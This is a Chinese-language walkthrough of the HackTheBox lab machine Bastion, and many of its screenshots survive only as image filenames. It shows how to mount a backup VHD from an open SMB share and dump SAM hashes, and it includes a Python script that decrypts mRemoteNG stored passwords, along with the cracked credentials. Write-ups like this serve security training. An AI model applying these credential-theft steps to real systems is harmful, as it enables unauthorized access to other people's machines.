Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


HackTheBox >_ Bastion_134

Bastion_134

image-20200917085913924

image-20200709053627288

image-20200709053706409

image-20200709054532295

image-20200709054745325

image-20200709050537432

image-20200709054345021

image-20200709054953264

而windows备份中

image-20200709083245936

将vhd挂载到本地

可以参考https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25进行简单的挂载,

也可以通过下面的命令进行挂载

sudo mkdir /mnt/L4mpje-PC
sudo mkdir /mnt/vhd
sudo modprobe nbd
sudo mount -t cifs //10.10.10.134/Backups/WindowsImageBackup/L4mpje-PC  /mnt/L4mpje-PC/ -o user=anonymous
sudo qemu-nbd -r -c /dev/nbd0 "/mnt/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd"
sudo mount -r /dev/nbd0p1 /mnt/vhd

挂载之后在Windows/System32/config使用samdump来转储hash

samdump2 SYSTEM SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

image-20200709084844645

L4mpje:26112010952d963c8dc4217daec986d9:bureaulampje
ssh L4mpje@10.10.10.134

image-20200709073651853

image-20200709074611738

参考http://cosine-security.blogspot.com/2011/06/stealing-password-from-mremote.html

如果您不知道mRemote是Windows的选项卡式远程连接管理器。它可以存储和管理许多不同的连接,其中主要是RDP,VNC和SSH。它是必须远程访问许多计算机的IT支持人员中的一种流行工具。

在mRemote中保存连接时,它将所有这些数据输出到本地AppData文件夹中的XML报告中。密码以加密格式保存,但这是微不足道的。使用AES-128-CBC Rijndael加密对密码进行加密,然后将IV预先添加到已编码的密码中,然后对所有内容进行base64编码以输出到XML。使用的加密密钥是字符串“ mR3m”的md5哈希。因此,要解密这些密码,我们遵循一个简单的过程:

示例密码:28kQ15DF4kdW34Mx2 + fh + NWZODNSoSPek7ug + ILvyPE =

获取mR3m的md5哈希并将其转换为字节值: xc8 xa3 x9d xe2 xa5 x47 x66 xa0 xda x87 x5f x79 xaa xf1 xaa x8c ​ base64解码保存的密码数据 ​ 取解码数据的前16个字节,并将其设置为初始化矢量(IV) ​ 运行AES-128-CBC解密,将您的密码文本(解码文本中的剩余字节),IV(前16个字节)和密钥( xc8 xa3 x9d xe2 xa5 x47 x66 xa0 xda x87 x5f x79 xaa xf1 xaa x8c) ​ 您应该获得解密的密码:password1

简单易用,您现在即可解密所有这些美味的RDP,VNC和SSH密码。为了使一切变得更加容易,我编写了一个新的Metasploit POST模块,它将在受感染机器上找到XML文件并为您解密这些密码。我刚刚将其提交给Redmine,因此尚未添加,但请注意。我怀疑它将很快在那里。

同时网上存在已经很棒的基于msf模块所写成的离线解密脚本

#!/usr/bin/env python3

import base64
import hashlib
import re
import sys
from Cryptodome.Cipher import AES

if len(sys.argv) != 2:
     print(f"[-] Usage: {sys.argv[0]} [confCons.xml]")
     sys.exit()

try:
     with open(sys.argv[1], 'r') as f:
         conf = f.read()
except FileNotFoundError:
     print(f"[-] Unable to open {sys.argv[1]}")
     sys.exit()

mode = re.findall('BlockCipherMode="(\w+)"', conf)
if len(mode) !=1:
     print("[-] Warning - No BlockCipherMode detected")
elif mode[0] != 'GCM':
     print(f"[-] Warning - This script is for AES GCM Mode. {mode} detected")

nodes = re.findall('<Node .+/>', conf)
if len(nodes) > 0:
    print(f"[+] Found nodes: {len(nodes)}\n")
else:
    print("[-] Found no nodes")
for node in nodes:
    user = re.findall(' Username="(\w*)"', node)[0]
    enc = base64.b64decode(re.findall(' Password="([^ ]+)"', node)[0])
    salt = enc[:16]
    nonce = enc[16:32]
    cipher = enc[32:-16]
    tag = enc[-16:]
    key = hashlib.pbkdf2_hmac("sha1", b"mR3m", salt, 1000, dklen=32)
    aes = AES.new(key, AES.MODE_GCM, nonce=nonce)
    aes.update(salt)
    password = aes.decrypt_and_verify(cipher, tag).decode()
    print(f"Username: {user}\nPassword: {password}\n")

按照漏洞利用方法,找到存有凭证的xml文件

image-20200709080038464

由于我们有ssh的凭证可以使用scp将文件传输回kali

scp l4mpje@10.10.10.134:./AppData/Roaming/mRemoteNG/confCons.xml .

image-20200709080350756

python3 mRemoteO_PwdsDecrypt.py confCons.xml

image-20200709082000728

Administrator:thXLHM96BeKL0ER2

ssh登录

image-20200709082401555

image-20200709082424192